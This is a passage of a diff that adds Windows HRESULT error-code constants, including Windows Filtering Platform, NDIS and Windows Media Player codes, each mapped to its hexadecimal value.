+FWP_E_TXN_IN_PROGRESS                                        = 0x8032000E
+FWP_E_TXN_ABORTED                                            = 0x8032000F
+FWP_E_SESSION_ABORTED                                        = 0x80320010
+FWP_E_INCOMPATIBLE_TXN                                       = 0x80320011
+FWP_E_TIMEOUT                                                = 0x80320012
+FWP_E_NET_EVENTS_DISABLED                                    = 0x80320013
+FWP_E_INCOMPATIBLE_LAYER                                     = 0x80320014
+FWP_E_KM_CLIENTS_ONLY                                        = 0x80320015
+FWP_E_LIFETIME_MISMATCH                                      = 0x80320016
+FWP_E_BUILTIN_OBJECT                                         = 0x80320017
+FWP_E_TOO_MANY_BOOTTIME_FILTERS                              = 0x80320018
+FWP_E_NOTIFICATION_DROPPED                                   = 0x80320019
+FWP_E_TRAFFIC_MISMATCH                                       = 0x8032001A
+FWP_E_INCOMPATIBLE_SA_STATE                                  = 0x8032001B
+FWP_E_NULL_POINTER                                           = 0x8032001C
+FWP_E_INVALID_ENUMERATOR                                     = 0x8032001D
+FWP_E_INVALID_FLAGS                                          = 0x8032001E
+FWP_E_INVALID_NET_MASK                                       = 0x8032001F
+FWP_E_INVALID_RANGE                                          = 0x80320020
+FWP_E_INVALID_INTERVAL                                       = 0x80320021
+FWP_E_ZERO_LENGTH_ARRAY                                      = 0x80320022
+FWP_E_NULL_DISPLAY_NAME                                      = 0x80320023
+FWP_E_INVALID_ACTION_TYPE                                    = 0x80320024
+FWP_E_INVALID_WEIGHT                                         = 0x80320025
+FWP_E_MATCH_TYPE_MISMATCH                                    = 0x80320026
+FWP_E_TYPE_MISMATCH                                          = 0x80320027
+FWP_E_OUT_OF_BOUNDS                                          = 0x80320028
+FWP_E_RESERVED                                               = 0x80320029
+FWP_E_DUPLICATE_CONDITION                                    = 0x8032002A
+FWP_E_DUPLICATE_KEYMOD                                       = 0x8032002B
+FWP_E_ACTION_INCOMPATIBLE_WITH_LAYER                         = 0x8032002C
+FWP_E_ACTION_INCOMPATIBLE_WITH_SUBLAYER                      = 0x8032002D
+FWP_E_CONTEXT_INCOMPATIBLE_WITH_LAYER                        = 0x8032002E
+FWP_E_CONTEXT_INCOMPATIBLE_WITH_CALLOUT                      = 0x8032002F
+FWP_E_INCOMPATIBLE_AUTH_METHOD                               = 0x80320030
+FWP_E_INCOMPATIBLE_DH_GROUP                                  = 0x80320031
+FWP_E_EM_NOT_SUPPORTED                                       = 0x80320032
+FWP_E_NEVER_MATCH                                            = 0x80320033
+FWP_E_PROVIDER_CONTEXT_MISMATCH                              = 0x80320034
+FWP_E_INVALID_PARAMETER                                      = 0x80320035
+FWP_E_TOO_MANY_SUBLAYERS                                     = 0x80320036
+FWP_E_CALLOUT_NOTIFICATION_FAILED                            = 0x80320037
+FWP_E_INCOMPATIBLE_AUTH_CONFIG                               = 0x80320038
+FWP_E_INCOMPATIBLE_CIPHER_CONFIG                             = 0x80320039
+ERROR_NDIS_INTERFACE_CLOSING                                 = 0x80340002
+ERROR_NDIS_BAD_VERSION                                       = 0x80340004
+ERROR_NDIS_BAD_CHARACTERISTICS                               = 0x80340005
+ERROR_NDIS_ADAPTER_NOT_FOUND                                 = 0x80340006
+ERROR_NDIS_OPEN_FAILED                                       = 0x80340007
+ERROR_NDIS_DEVICE_FAILED                                     = 0x80340008
+ERROR_NDIS_MULTICAST_FULL                                    = 0x80340009
+ERROR_NDIS_MULTICAST_EXISTS                                  = 0x8034000A
+ERROR_NDIS_MULTICAST_NOT_FOUND                               = 0x8034000B
+ERROR_NDIS_REQUEST_ABORTED                                   = 0x8034000C
+ERROR_NDIS_RESET_IN_PROGRESS                                 = 0x8034000D
+ERROR_NDIS_INVALID_PACKET                                    = 0x8034000F
+ERROR_NDIS_INVALID_DEVICE_REQUEST                            = 0x80340010
+ERROR_NDIS_ADAPTER_NOT_READY                                 = 0x80340011
+ERROR_NDIS_INVALID_LENGTH                                    = 0x80340014
+ERROR_NDIS_INVALID_DATA                                      = 0x80340015
+ERROR_NDIS_BUFFER_TOO_SHORT                                  = 0x80340016
+ERROR_NDIS_INVALID_OID                                       = 0x80340017
+ERROR_NDIS_ADAPTER_REMOVED                                   = 0x80340018
+ERROR_NDIS_UNSUPPORTED_MEDIA                                 = 0x80340019
+ERROR_NDIS_GROUP_ADDRESS_IN_USE                              = 0x8034001A
+ERROR_NDIS_FILE_NOT_FOUND                                    = 0x8034001B
+ERROR_NDIS_ERROR_READING_FILE                                = 0x8034001C
+ERROR_NDIS_ALREADY_MAPPED                                    = 0x8034001D
+ERROR_NDIS_RESOURCE_CONFLICT                                 = 0x8034001E
+ERROR_NDIS_MEDIA_DISCONNECTED                                = 0x8034001F
+ERROR_NDIS_INVALID_ADDRESS                                   = 0x80340022
+ERROR_NDIS_PAUSED                                            = 0x8034002A
+ERROR_NDIS_INTERFACE_NOT_FOUND                               = 0x8034002B
+ERROR_NDIS_UNSUPPORTED_REVISION                              = 0x8034002C
+ERROR_NDIS_INVALID_PORT                                      = 0x8034002D
+ERROR_NDIS_INVALID_PORT_STATE                                = 0x8034002E
+ERROR_NDIS_NOT_SUPPORTED                                     = 0x803400BB
+ERROR_NDIS_DOT11_AUTO_CONFIG_ENABLED                         = 0x80342000
+ERROR_NDIS_DOT11_MEDIA_IN_USE                                = 0x80342001
+ERROR_NDIS_DOT11_POWER_STATE_INVALID                         = 0x80342002
+TRK_E_NOT_FOUND                                              = 0x8DEAD01B
+TRK_E_VOLUME_QUOTA_EXCEEDED                                  = 0x8DEAD01C
+TRK_SERVER_TOO_BUSY                                          = 0x8DEAD01E
+ERROR_AUDITING_DISABLED                                      = 0xC0090001
+ERROR_ALL_SIDS_FILTERED                                      = 0xC0090002
+ERROR_BIZRULES_NOT_ENABLED                                   = 0xC0090003
+NS_E_NOCONNECTION                                            = 0xC00D0005
+NS_E_CANNOTCONNECT                                           = 0xC00D0006
+NS_E_CANNOTDESTROYTITLE                                      = 0xC00D0007
+NS_E_CANNOTRENAMETITLE                                       = 0xC00D0008
+NS_E_CANNOTOFFLINEDISK                                       = 0xC00D0009
+NS_E_CANNOTONLINEDISK                                        = 0xC00D000A
+NS_E_NOREGISTEREDWALKER                                      = 0xC00D000B
+NS_E_NOFUNNEL                                                = 0xC00D000C
+NS_E_NO_LOCALPLAY                                            = 0xC00D000D
+NS_E_NETWORK_BUSY                                            = 0xC00D000E
+NS_E_TOO_MANY_SESS                                           = 0xC00D000F
+NS_E_ALREADY_CONNECTED                                       = 0xC00D0010
+NS_E_INVALID_INDEX                                           = 0xC00D0011
+NS_E_PROTOCOL_MISMATCH                                       = 0xC00D0012
+NS_E_TIMEOUT                                                 = 0xC00D0013
+NS_E_NET_WRITE                                               = 0xC00D0014
+NS_E_NET_READ                                                = 0xC00D0015
+NS_E_DISK_WRITE                                              = 0xC00D0016
+NS_E_DISK_READ                                               = 0xC00D0017
+NS_E_FILE_WRITE                                              = 0xC00D0018
+NS_E_FILE_READ                                               = 0xC00D0019
+NS_E_FILE_NOT_FOUND                                          = 0xC00D001A
+NS_E_FILE_EXISTS                                             = 0xC00D001B
+NS_E_INVALID_NAME                                            = 0xC00D001C
+NS_E_FILE_OPEN_FAILED                                        = 0xC00D001D
+NS_E_FILE_ALLOCATION_FAILED                                  = 0xC00D001E
+NS_E_FILE_INIT_FAILED                                        = 0xC00D001F
+NS_E_FILE_PLAY_FAILED                                        = 0xC00D0020
+NS_E_SET_DISK_UID_FAILED                                     = 0xC00D0021
+NS_E_INDUCED                                                 = 0xC00D0022
+NS_E_CCLINK_DOWN                                             = 0xC00D0023
+NS_E_INTERNAL                                                = 0xC00D0024
+NS_E_BUSY                                                    = 0xC00D0025
+NS_E_UNRECOGNIZED_STREAM_TYPE                                = 0xC00D0026
+NS_E_NETWORK_SERVICE_FAILURE                                 = 0xC00D0027
+NS_E_NETWORK_RESOURCE_FAILURE                                = 0xC00D0028
+NS_E_CONNECTION_FAILURE                                      = 0xC00D0029
+NS_E_SHUTDOWN                                                = 0xC00D002A
+NS_E_INVALID_REQUEST                                         = 0xC00D002B
+NS_E_INSUFFICIENT_BANDWIDTH                                  = 0xC00D002C
+NS_E_NOT_REBUILDING                                          = 0xC00D002D
+NS_E_LATE_OPERATION                                          = 0xC00D002E
+NS_E_INVALID_DATA                                            = 0xC00D002F
+NS_E_FILE_BANDWIDTH_LIMIT                                    = 0xC00D0030
+NS_E_OPEN_FILE_LIMIT                                         = 0xC00D0031
+NS_E_BAD_CONTROL_DATA                                        = 0xC00D0032
+NS_E_NO_STREAM                                               = 0xC00D0033
+NS_E_STREAM_END                                              = 0xC00D0034
+NS_E_SERVER_NOT_FOUND                                        = 0xC00D0035
+NS_E_DUPLICATE_NAME                                          = 0xC00D0036
+NS_E_DUPLICATE_ADDRESS                                       = 0xC00D0037
+NS_E_BAD_MULTICAST_ADDRESS                                   = 0xC00D0038
+NS_E_BAD_ADAPTER_ADDRESS                                     = 0xC00D0039
+NS_E_BAD_DELIVERY_MODE                                       = 0xC00D003A
+NS_E_INVALID_CHANNEL                                         = 0xC00D003B
+NS_E_INVALID_STREAM                                          = 0xC00D003C
+NS_E_INVALID_ARCHIVE                                         = 0xC00D003D
+NS_E_NOTITLES                                                = 0xC00D003E
+NS_E_INVALID_CLIENT                                          = 0xC00D003F
+NS_E_INVALID_BLACKHOLE_ADDRESS                               = 0xC00D0040
+NS_E_INCOMPATIBLE_FORMAT                                     = 0xC00D0041
+NS_E_INVALID_KEY                                             = 0xC00D0042
+NS_E_INVALID_PORT                                            = 0xC00D0043
+NS_E_INVALID_TTL                                             = 0xC00D0044
+NS_E_STRIDE_REFUSED                                          = 0xC00D0045
+NS_E_MMSAUTOSERVER_CANTFINDWALKER                            = 0xC00D0046
+NS_E_MAX_BITRATE                                             = 0xC00D0047
+NS_E_LOGFILEPERIOD                                           = 0xC00D0048
+NS_E_MAX_CLIENTS                                             = 0xC00D0049
+NS_E_LOG_FILE_SIZE                                           = 0xC00D004A
+NS_E_MAX_FILERATE                                            = 0xC00D004B
+NS_E_WALKER_UNKNOWN                                          = 0xC00D004C
+NS_E_WALKER_SERVER                                           = 0xC00D004D
+NS_E_WALKER_USAGE                                            = 0xC00D004E
+NS_E_TIGER_FAIL                                              = 0xC00D0050
+NS_E_CUB_FAIL                                                = 0xC00D0053
+NS_E_DISK_FAIL                                               = 0xC00D0055
+NS_E_MAX_FUNNELS_ALERT                                       = 0xC00D0060
+NS_E_ALLOCATE_FILE_FAIL                                      = 0xC00D0061
+NS_E_PAGING_ERROR                                            = 0xC00D0062
+NS_E_BAD_BLOCK0_VERSION                                      = 0xC00D0063
+NS_E_BAD_DISK_UID                                            = 0xC00D0064
+NS_E_BAD_FSMAJOR_VERSION                                     = 0xC00D0065
+NS_E_BAD_STAMPNUMBER                                         = 0xC00D0066
+NS_E_PARTIALLY_REBUILT_DISK                                  = 0xC00D0067
+NS_E_ENACTPLAN_GIVEUP                                        = 0xC00D0068
+MCMADM_E_REGKEY_NOT_FOUND                                    = 0xC00D006A
+NS_E_NO_FORMATS                                              = 0xC00D006B
+NS_E_NO_REFERENCES                                           = 0xC00D006C
+NS_E_WAVE_OPEN                                               = 0xC00D006D
+NS_E_CANNOTCONNECTEVENTS                                     = 0xC00D006F
+NS_E_NO_DEVICE                                               = 0xC00D0071
+NS_E_NO_SPECIFIED_DEVICE                                     = 0xC00D0072
+NS_E_MONITOR_GIVEUP                                          = 0xC00D00C8
+NS_E_REMIRRORED_DISK                                         = 0xC00D00C9
+NS_E_INSUFFICIENT_DATA                                       = 0xC00D00CA
+NS_E_ASSERT                                                  = 0xC00D00CB
+NS_E_BAD_ADAPTER_NAME                                        = 0xC00D00CC
+NS_E_NOT_LICENSED                                            = 0xC00D00CD
+NS_E_NO_SERVER_CONTACT                                       = 0xC00D00CE
+NS_E_TOO_MANY_TITLES                                         = 0xC00D00CF
+NS_E_TITLE_SIZE_EXCEEDED                                     = 0xC00D00D0
+NS_E_UDP_DISABLED                                            = 0xC00D00D1
+NS_E_TCP_DISABLED                                            = 0xC00D00D2
+NS_E_HTTP_DISABLED                                           = 0xC00D00D3
+NS_E_LICENSE_EXPIRED                                         = 0xC00D00D4
+NS_E_TITLE_BITRATE                                           = 0xC00D00D5
+NS_E_EMPTY_PROGRAM_NAME                                      = 0xC00D00D6
+NS_E_MISSING_CHANNEL                                         = 0xC00D00D7
+NS_E_NO_CHANNELS                                             = 0xC00D00D8
+NS_E_INVALID_INDEX2                                          = 0xC00D00D9
+NS_E_CUB_FAIL_LINK                                           = 0xC00D0190
+NS_E_BAD_CUB_UID                                             = 0xC00D0192
+NS_E_GLITCH_MODE                                             = 0xC00D0195
+NS_E_NO_MEDIA_PROTOCOL                                       = 0xC00D019B
+NS_E_NOTHING_TO_DO                                           = 0xC00D07F1
+NS_E_NO_MULTICAST                                            = 0xC00D07F2
+NS_E_INVALID_INPUT_FORMAT                                    = 0xC00D0BB8
+NS_E_MSAUDIO_NOT_INSTALLED                                   = 0xC00D0BB9
+NS_E_UNEXPECTED_MSAUDIO_ERROR                                = 0xC00D0BBA
+NS_E_INVALID_OUTPUT_FORMAT                                   = 0xC00D0BBB
+NS_E_NOT_CONFIGURED                                          = 0xC00D0BBC
+NS_E_PROTECTED_CONTENT                                       = 0xC00D0BBD
+NS_E_LICENSE_REQUIRED                                        = 0xC00D0BBE
+NS_E_TAMPERED_CONTENT                                        = 0xC00D0BBF
+NS_E_LICENSE_OUTOFDATE                                       = 0xC00D0BC0
+NS_E_LICENSE_INCORRECT_RIGHTS                                = 0xC00D0BC1
+NS_E_AUDIO_CODEC_NOT_INSTALLED                               = 0xC00D0BC2
+NS_E_AUDIO_CODEC_ERROR                                       = 0xC00D0BC3
+NS_E_VIDEO_CODEC_NOT_INSTALLED                               = 0xC00D0BC4
+NS_E_VIDEO_CODEC_ERROR                                       = 0xC00D0BC5
+NS_E_INVALIDPROFILE                                          = 0xC00D0BC6
+NS_E_INCOMPATIBLE_VERSION                                    = 0xC00D0BC7
+NS_E_OFFLINE_MODE                                            = 0xC00D0BCA
+NS_E_NOT_CONNECTED                                           = 0xC00D0BCB
+NS_E_TOO_MUCH_DATA                                           = 0xC00D0BCC
+NS_E_UNSUPPORTED_PROPERTY                                    = 0xC00D0BCD
+NS_E_8BIT_WAVE_UNSUPPORTED                                   = 0xC00D0BCE
+NS_E_NO_MORE_SAMPLES                                         = 0xC00D0BCF
+NS_E_INVALID_SAMPLING_RATE                                   = 0xC00D0BD0
+NS_E_MAX_PACKET_SIZE_TOO_SMALL                               = 0xC00D0BD1
+NS_E_LATE_PACKET                                             = 0xC00D0BD2
+NS_E_DUPLICATE_PACKET                                        = 0xC00D0BD3
+NS_E_SDK_BUFFERTOOSMALL                                      = 0xC00D0BD4
+NS_E_INVALID_NUM_PASSES                                      = 0xC00D0BD5
+NS_E_ATTRIBUTE_READ_ONLY                                     = 0xC00D0BD6
+NS_E_ATTRIBUTE_NOT_ALLOWED                                   = 0xC00D0BD7
+NS_E_INVALID_EDL                                             = 0xC00D0BD8
+NS_E_DATA_UNIT_EXTENSION_TOO_LARGE                           = 0xC00D0BD9
+NS_E_CODEC_DMO_ERROR                                         = 0xC00D0BDA
+NS_E_FEATURE_DISABLED_BY_GROUP_POLICY                        = 0xC00D0BDC
+NS_E_FEATURE_DISABLED_IN_SKU                                 = 0xC00D0BDD
+NS_E_NO_CD                                                   = 0xC00D0FA0
+NS_E_CANT_READ_DIGITAL                                       = 0xC00D0FA1
+NS_E_DEVICE_DISCONNECTED                                     = 0xC00D0FA2
+NS_E_DEVICE_NOT_SUPPORT_FORMAT                               = 0xC00D0FA3
+NS_E_SLOW_READ_DIGITAL                                       = 0xC00D0FA4
+NS_E_MIXER_INVALID_LINE                                      = 0xC00D0FA5
+NS_E_MIXER_INVALID_CONTROL                                   = 0xC00D0FA6
+NS_E_MIXER_INVALID_VALUE                                     = 0xC00D0FA7
+NS_E_MIXER_UNKNOWN_MMRESULT                                  = 0xC00D0FA8
+NS_E_USER_STOP                                               = 0xC00D0FA9
+NS_E_MP3_FORMAT_NOT_FOUND                                    = 0xC00D0FAA
+NS_E_CD_READ_ERROR_NO_CORRECTION                             = 0xC00D0FAB
+NS_E_CD_READ_ERROR                                           = 0xC00D0FAC
+NS_E_CD_SLOW_COPY                                            = 0xC00D0FAD
+NS_E_CD_COPYTO_CD                                            = 0xC00D0FAE
+NS_E_MIXER_NODRIVER                                          = 0xC00D0FAF
+NS_E_REDBOOK_ENABLED_WHILE_COPYING                           = 0xC00D0FB0
+NS_E_CD_REFRESH                                              = 0xC00D0FB1
+NS_E_CD_DRIVER_PROBLEM                                       = 0xC00D0FB2
+NS_E_WONT_DO_DIGITAL                                         = 0xC00D0FB3
+NS_E_WMPXML_NOERROR                                          = 0xC00D0FB4
+NS_E_WMPXML_ENDOFDATA                                        = 0xC00D0FB5
+NS_E_WMPXML_PARSEERROR                                       = 0xC00D0FB6
+NS_E_WMPXML_ATTRIBUTENOTFOUND                                = 0xC00D0FB7
+NS_E_WMPXML_PINOTFOUND                                       = 0xC00D0FB8
+NS_E_WMPXML_EMPTYDOC                                         = 0xC00D0FB9
+NS_E_WMP_PATH_ALREADY_IN_LIBRARY                             = 0xC00D0FBA
+NS_E_WMP_FILESCANALREADYSTARTED                              = 0xC00D0FBE
+NS_E_WMP_HME_INVALIDOBJECTID                                 = 0xC00D0FBF
+NS_E_WMP_MF_CODE_EXPIRED                                     = 0xC00D0FC0
+NS_E_WMP_HME_NOTSEARCHABLEFORITEMS                           = 0xC00D0FC1
+NS_E_WMP_ADDTOLIBRARY_FAILED                                 = 0xC00D0FC7
+NS_E_WMP_WINDOWSAPIFAILURE                                   = 0xC00D0FC8
+NS_E_WMP_RECORDING_NOT_ALLOWED                               = 0xC00D0FC9
+NS_E_DEVICE_NOT_READY                                        = 0xC00D0FCA
+NS_E_DAMAGED_FILE                                            = 0xC00D0FCB
+NS_E_MPDB_GENERIC                                            = 0xC00D0FCC
+NS_E_FILE_FAILED_CHECKS                                      = 0xC00D0FCD
+NS_E_MEDIA_LIBRARY_FAILED                                    = 0xC00D0FCE
+NS_E_SHARING_VIOLATION                                       = 0xC00D0FCF
+NS_E_NO_ERROR_STRING_FOUND                                   = 0xC00D0FD0
+NS_E_WMPOCX_NO_REMOTE_CORE                                   = 0xC00D0FD1
+NS_E_WMPOCX_NO_ACTIVE_CORE                                   = 0xC00D0FD2
+NS_E_WMPOCX_NOT_RUNNING_REMOTELY                             = 0xC00D0FD3
+NS_E_WMPOCX_NO_REMOTE_WINDOW                                 = 0xC00D0FD4
+NS_E_WMPOCX_ERRORMANAGERNOTAVAILABLE                         = 0xC00D0FD5
+NS_E_PLUGIN_NOTSHUTDOWN                                      = 0xC00D0FD6
+NS_E_WMP_CANNOT_FIND_FOLDER                                  = 0xC00D0FD7
+NS_E_WMP_STREAMING_RECORDING_NOT_ALLOWED                     = 0xC00D0FD8
+NS_E_WMP_PLUGINDLL_NOTFOUND                                  = 0xC00D0FD9
+NS_E_NEED_TO_ASK_USER                                        = 0xC00D0FDA
+NS_E_WMPOCX_PLAYER_NOT_DOCKED                                = 0xC00D0FDB
+NS_E_WMP_EXTERNAL_NOTREADY                                   = 0xC00D0FDC
+NS_E_WMP_MLS_STALE_DATA                                      = 0xC00D0FDD
+NS_E_WMP_UI_SUBCONTROLSNOTSUPPORTED                          = 0xC00D0FDE
+NS_E_WMP_UI_VERSIONMISMATCH                                  = 0xC00D0FDF
+NS_E_WMP_UI_NOTATHEMEFILE                                    = 0xC00D0FE0
+NS_E_WMP_UI_SUBELEMENTNOTFOUND                               = 0xC00D0FE1
+NS_E_WMP_UI_VERSIONPARSE                                     = 0xC00D0FE2
+NS_E_WMP_UI_VIEWIDNOTFOUND                                   = 0xC00D0FE3
+NS_E_WMP_UI_PASSTHROUGH                                      = 0xC00D0FE4
+NS_E_WMP_UI_OBJECTNOTFOUND                                   = 0xC00D0FE5
+NS_E_WMP_UI_SECONDHANDLER                                    = 0xC00D0FE6
+NS_E_WMP_UI_NOSKININZIP                                      = 0xC00D0FE7
+NS_E_WMP_URLDOWNLOADFAILED                                   = 0xC00D0FEA
+NS_E_WMPOCX_UNABLE_TO_LOAD_SKIN                              = 0xC00D0FEB
+NS_E_WMP_INVALID_SKIN                                        = 0xC00D0FEC
+NS_E_WMP_SENDMAILFAILED                                      = 0xC00D0FED
+NS_E_WMP_LOCKEDINSKINMODE                                    = 0xC00D0FEE
+NS_E_WMP_FAILED_TO_SAVE_FILE                                 = 0xC00D0FEF
+NS_E_WMP_SAVEAS_READONLY                                     = 0xC00D0FF0
+NS_E_WMP_FAILED_TO_SAVE_PLAYLIST                             = 0xC00D0FF1
+NS_E_WMP_FAILED_TO_OPEN_WMD                                  = 0xC00D0FF2
+NS_E_WMP_CANT_PLAY_PROTECTED                                 = 0xC00D0FF3
+NS_E_SHARING_STATE_OUT_OF_SYNC                               = 0xC00D0FF4
+NS_E_WMPOCX_REMOTE_PLAYER_ALREADY_RUNNING                    = 0xC00D0FFA
+NS_E_WMP_RBC_JPGMAPPINGIMAGE                                 = 0xC00D1004
+NS_E_WMP_JPGTRANSPARENCY                                     = 0xC00D1005
+NS_E_WMP_INVALID_MAX_VAL                                     = 0xC00D1009
+NS_E_WMP_INVALID_MIN_VAL                                     = 0xC00D100A
+NS_E_WMP_CS_JPGPOSITIONIMAGE                                 = 0xC00D100E
+NS_E_WMP_CS_NOTEVENLYDIVISIBLE                               = 0xC00D100F
+NS_E_WMPZIP_NOTAZIPFILE                                      = 0xC00D1018
+NS_E_WMPZIP_CORRUPT                                          = 0xC00D1019
+NS_E_WMPZIP_FILENOTFOUND                                     = 0xC00D101A
+NS_E_WMP_IMAGE_FILETYPE_UNSUPPORTED                          = 0xC00D1022
+NS_E_WMP_IMAGE_INVALID_FORMAT                                = 0xC00D1023
+NS_E_WMP_GIF_UNEXPECTED_ENDOFFILE                            = 0xC00D1024
+NS_E_WMP_GIF_INVALID_FORMAT                                  = 0xC00D1025
+NS_E_WMP_GIF_BAD_VERSION_NUMBER                              = 0xC00D1026
+NS_E_WMP_GIF_NO_IMAGE_IN_FILE                                = 0xC00D1027
+NS_E_WMP_PNG_INVALIDFORMAT                                   = 0xC00D1028
+NS_E_WMP_PNG_UNSUPPORTED_BITDEPTH                            = 0xC00D1029
+NS_E_WMP_PNG_UNSUPPORTED_COMPRESSION                         = 0xC00D102A
+NS_E_WMP_PNG_UNSUPPORTED_FILTER                              = 0xC00D102B
+NS_E_WMP_PNG_UNSUPPORTED_INTERLACE                           = 0xC00D102C
+NS_E_WMP_PNG_UNSUPPORTED_BAD_CRC                             = 0xC00D102D
+NS_E_WMP_BMP_INVALID_BITMASK                                 = 0xC00D102E
+NS_E_WMP_BMP_TOPDOWN_DIB_UNSUPPORTED                         = 0xC00D102F
+NS_E_WMP_BMP_BITMAP_NOT_CREATED                              = 0xC00D1030
+NS_E_WMP_BMP_COMPRESSION_UNSUPPORTED                         = 0xC00D1031
+NS_E_WMP_BMP_INVALID_FORMAT                                  = 0xC00D1032
+NS_E_WMP_JPG_JERR_ARITHCODING_NOTIMPL                        = 0xC00D1033
+NS_E_WMP_JPG_INVALID_FORMAT                                  = 0xC00D1034
+NS_E_WMP_JPG_BAD_DCTSIZE                                     = 0xC00D1035
+NS_E_WMP_JPG_BAD_VERSION_NUMBER                              = 0xC00D1036
+NS_E_WMP_JPG_BAD_PRECISION                                   = 0xC00D1037
+NS_E_WMP_JPG_CCIR601_NOTIMPL                                 = 0xC00D1038
+NS_E_WMP_JPG_NO_IMAGE_IN_FILE                                = 0xC00D1039
+NS_E_WMP_JPG_READ_ERROR                                      = 0xC00D103A
+NS_E_WMP_JPG_FRACT_SAMPLE_NOTIMPL                            = 0xC00D103B
+NS_E_WMP_JPG_IMAGE_TOO_BIG                                   = 0xC00D103C
+NS_E_WMP_JPG_UNEXPECTED_ENDOFFILE                            = 0xC00D103D
+NS_E_WMP_JPG_SOF_UNSUPPORTED                                 = 0xC00D103E
+NS_E_WMP_JPG_UNKNOWN_MARKER                                  = 0xC00D103F
+NS_E_WMP_FAILED_TO_OPEN_IMAGE                                = 0xC00D1044
+NS_E_WMP_DAI_SONGTOOSHORT                                    = 0xC00D1049
+NS_E_WMG_RATEUNAVAILABLE                                     = 0xC00D104A
+NS_E_WMG_PLUGINUNAVAILABLE                                   = 0xC00D104B
+NS_E_WMG_CANNOTQUEUE                                         = 0xC00D104C
+NS_E_WMG_PREROLLLICENSEACQUISITIONNOTALLOWED                 = 0xC00D104D
+NS_E_WMG_UNEXPECTEDPREROLLSTATUS                             = 0xC00D104E
+NS_E_WMG_INVALID_COPP_CERTIFICATE                            = 0xC00D1051
+NS_E_WMG_COPP_SECURITY_INVALID                               = 0xC00D1052
+NS_E_WMG_COPP_UNSUPPORTED                                    = 0xC00D1053
+NS_E_WMG_INVALIDSTATE                                        = 0xC00D1054
+NS_E_WMG_SINKALREADYEXISTS                                   = 0xC00D1055
+NS_E_WMG_NOSDKINTERFACE                                      = 0xC00D1056
+NS_E_WMG_NOTALLOUTPUTSRENDERED                               = 0xC00D1057
+NS_E_WMG_FILETRANSFERNOTALLOWED                              = 0xC00D1058
+NS_E_WMR_UNSUPPORTEDSTREAM                                   = 0xC00D1059
+NS_E_WMR_PINNOTFOUND                                         = 0xC00D105A
+NS_E_WMR_WAITINGONFORMATSWITCH                               = 0xC00D105B
+NS_E_WMR_NOSOURCEFILTER                                      = 0xC00D105C
+NS_E_WMR_PINTYPENOMATCH                                      = 0xC00D105D
+NS_E_WMR_NOCALLBACKAVAILABLE                                 = 0xC00D105E
+NS_E_WMR_SAMPLEPROPERTYNOTSET                                = 0xC00D1062
+NS_E_WMR_CANNOT_RENDER_BINARY_STREAM                         = 0xC00D1063
+NS_E_WMG_LICENSE_TAMPERED                                    = 0xC00D1064
+NS_E_WMR_WILLNOT_RENDER_BINARY_STREAM                        = 0xC00D1065
+NS_E_WMX_UNRECOGNIZED_PLAYLIST_FORMAT                        = 0xC00D1068
+NS_E_ASX_INVALIDFORMAT                                       = 0xC00D1069
+NS_E_ASX_INVALIDVERSION                                      = 0xC00D106A
+NS_E_ASX_INVALID_REPEAT_BLOCK                                = 0xC00D106B
+NS_E_ASX_NOTHING_TO_WRITE                                    = 0xC00D106C
+NS_E_URLLIST_INVALIDFORMAT                                   = 0xC00D106D
+NS_E_WMX_ATTRIBUTE_DOES_NOT_EXIST                            = 0xC00D106E
+NS_E_WMX_ATTRIBUTE_ALREADY_EXISTS                            = 0xC00D106F
+NS_E_WMX_ATTRIBUTE_UNRETRIEVABLE                             = 0xC00D1070
+NS_E_WMX_ITEM_DOES_NOT_EXIST                                 = 0xC00D1071
+NS_E_WMX_ITEM_TYPE_ILLEGAL                                   = 0xC00D1072
+NS_E_WMX_ITEM_UNSETTABLE                                     = 0xC00D1073
+NS_E_WMX_PLAYLIST_EMPTY                                      = 0xC00D1074
+NS_E_MLS_SMARTPLAYLIST_FILTER_NOT_REGISTERED                 = 0xC00D1075
+NS_E_WMX_INVALID_FORMAT_OVER_NESTING                         = 0xC00D1076
+NS_E_WMPCORE_NOSOURCEURLSTRING                               = 0xC00D107C
+NS_E_WMPCORE_COCREATEFAILEDFORGITOBJECT                      = 0xC00D107D
+NS_E_WMPCORE_FAILEDTOGETMARSHALLEDEVENTHANDLERINTERFACE      = 0xC00D107E
+NS_E_WMPCORE_BUFFERTOOSMALL                                  = 0xC00D107F
+NS_E_WMPCORE_UNAVAILABLE                                     = 0xC00D1080
+NS_E_WMPCORE_INVALIDPLAYLISTMODE                             = 0xC00D1081
+NS_E_WMPCORE_ITEMNOTINPLAYLIST                               = 0xC00D1086
+NS_E_WMPCORE_PLAYLISTEMPTY                                   = 0xC00D1087
+NS_E_WMPCORE_NOBROWSER                                       = 0xC00D1088
+NS_E_WMPCORE_UNRECOGNIZED_MEDIA_URL                          = 0xC00D1089
+NS_E_WMPCORE_GRAPH_NOT_IN_LIST                               = 0xC00D108A
+NS_E_WMPCORE_PLAYLIST_EMPTY_OR_SINGLE_MEDIA                  = 0xC00D108B
+NS_E_WMPCORE_ERRORSINKNOTREGISTERED                          = 0xC00D108C
+NS_E_WMPCORE_ERRORMANAGERNOTAVAILABLE                        = 0xC00D108D
+NS_E_WMPCORE_WEBHELPFAILED                                   = 0xC00D108E
+NS_E_WMPCORE_MEDIA_ERROR_RESUME_FAILED                       = 0xC00D108F
+NS_E_WMPCORE_NO_REF_IN_ENTRY                                 = 0xC00D1090
+NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_EMPTY                   = 0xC00D1091
+NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_ILLEGAL                 = 0xC00D1092
+NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_EMPTY                  = 0xC00D1093
+NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_ILLEGAL                = 0xC00D1094
+NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_EMPTY              = 0xC00D1095
+NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_ILLEGAL            = 0xC00D1096
+NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_VALUE_EMPTY             = 0xC00D1097
+NS_E_WMPCORE_LIST_ENTRY_NO_REF                               = 0xC00D1098
+NS_E_WMPCORE_MISNAMED_FILE                                   = 0xC00D1099
+NS_E_WMPCORE_CODEC_NOT_TRUSTED                               = 0xC00D109A
+NS_E_WMPCORE_CODEC_NOT_FOUND                                 = 0xC00D109B
+NS_E_WMPCORE_CODEC_DOWNLOAD_NOT_ALLOWED                      = 0xC00D109C
+NS_E_WMPCORE_ERROR_DOWNLOADING_PLAYLIST                      = 0xC00D109D
